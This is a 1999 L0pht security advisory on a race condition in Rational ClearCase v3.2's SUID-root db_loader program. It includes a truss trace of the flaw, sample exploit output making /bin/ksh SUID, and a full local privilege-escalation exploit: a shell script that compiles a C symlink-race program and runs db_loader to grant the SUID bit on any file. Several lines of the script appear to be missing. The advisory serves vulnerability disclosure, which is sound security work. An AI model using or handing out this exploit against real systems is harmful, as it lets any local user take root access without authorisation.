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L0pht Security Advisory
Advisory released Jan 8 1999
Application: Rational Software's Clear Case v3.2
Severity: any local user can become root
Overview :
ClearCase is a configuration management program from Rational Software.
Similar in some ways to CVS or Visual Source Safe.
The default installation of ClearCase installs the program db_loader
SUID root. One of the many security problems in this program is a race
condition which enables any user to add the SUID bit to any file on the
For what it is worth IDC and other groups have given Clear Case awards.
Presumably these awards have nothing to do with security.
Example :
> ls -l /bin/ksh
-r-xr-xr-x 2 bin bin 186356 Jan 21 1998 /bin/ksh
> ./ /bin/ksh
Clear Case proof of concept exploit code - 2.5.1999
one beer please!
creating race grinder....
compiling race grinder...
compiled! Launching attack.... be patient
Looks succesfull!
-r-sr-xr-x 2 bin bin 186356 Jan 21 1998 /bin/ksh
don't forget to get rid of /var/tmp/cleartest
Description :
The database loader for pure atria is SUID root. A likely candidate for
mayhem and deliciousness. In addition it is around 1.5 megs in size -
way beyond the size of manageability for a program with elevated priveleges.
-r-sr-xr-x 1 root other 1527532 Jan 21 1998 /usr/atria/sun5/etc/db_loader
Taking a quick look at the binary shows plenty of places to exploit the
default behaviour.
[output from a truss -f -a -e -o /usr/atria/sun5/etc/db_loader /tmp]
1372: stat("/usr/atria/etc/db_dumper", 0xEFFFE400) = 0
1372: access("/tmp/db_dumper", 0) Err#2 ENOENT
1372: open("/usr/atria/etc/db_dumper", O_RDONLY) = 3
1372: open("/tmp/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 4
1372: read(3, "7F E L F010201\0\0\0\0\0".., 65536) = 65536
1372: write(4, "7F E L F010201\0\0\0\0\0".., 65536) = 65536
1372: read(3, " _ d e f a u l t\0 r _ t".., 65536) = 65536
..... you got it - they are copying db_dumper file to the directory you
1372: read(3, 0xEFFED690, 65536) = 0
1372: close(3) = 0
1372: fdsync(4, O_RDONLY|O_SYNC) = 0
1372: close(4) = 0
1372: utime("/tmp/db_dumper", 0xEFFFD6F0) = 0
1372: stat("/tmp/db_dumper", 0xEFFFE728) = 0
1372: chmod("/tmp/db_dumper", 0104555) = 0
And low and behold the ever popular chmod(2) call
So - we should have plenty of time for the race condition since they are using
calls which only return the information that was true at that explicit moment
in time. This type of coding assumes that the piece of information being
checked is invariant. /usr/atria/etc/db_dumper is also a ~1.5 meg file
so we have plenty of time to unlink and replace it while the copy is
taking place.
Most likely it would be even eaiser as we imagine that they will execute the
program later on... as it is this machine did not have a license
server it was permited to communicate with so it bombs out before any such
what-not can happen.
Exploit code :
------ begin --------
# This is sample code that takes advantage of a race condition in
# Pure Atria's Clear Case db_loader program. The program will retain
# ownership of the file pointed to on the command line and have
# the clear case db_loader change the permissions to SUID
# 2.5.1999
# you probabaly need to change the following to reflect your
# system and setup
# you need to own the DEST DIR so you can delete files that you don't
# directly own
if [ "$#" -ne "1" ] ; then
echo "usage: `basename $0` file_to_make_suid"
if [ ! -f ${TARGET} ] ; then
echo "target file must exist"
echo "Clear Case proof of concept exploit code - 2.5.1999"
echo " one beer please!"
if [ $? -gt 0 ] ; then
echo "go get rid of ${DEST_DIR} and try again..."
cd ${DEST_DIR}
# create the race runner
echo "creating race grinder...."
cat > ${RACE_CODE} << FOEFOE
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
main(int argc, char *argv[])
struct stat statbuf;
printf("%d\n", argc);
if (argc != 2){
printf("bzzzzt! - wrong usage\n");
while (1){
if (stat("./db_dumper", &statbuf) == 0){
symlink(argv[1], "./db_dumper");
echo "created!"
# compile it
echo "compiling race grinder..."
${CC} -O2 -o ${RACE_PROG} ${RACE_CODE}
if [ ! -f ${RACE_PROG} ] ; then
echo "compile failed?"
${RM} -f ${RACE_CODE}
echo "compiled! Launching attack.... be patient"
# let us give the progie a second or two to load up and get the runtime
# crap set
sleep 2
#${NICE} -n 2 ${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
# if you keep failing try the above and potentially increase the nice value
${DB_LOADER} ${DEST_DIR} > /dev/null 2>&1
if [ -u ${TARGET} ] ; then
echo "Looks succesfull!"
${LS} -l ${TARGET}
echo "don't forget to get rid of ${DEST_DIR}"
echo "doesn't look like it worked... "
echo "try again - after all it's a race condition!"
echo "don't forget to get rid of ${DEST_DIR}
-------- end --------
For more L0pht (that's L - zero - P - H - T) advisories check out: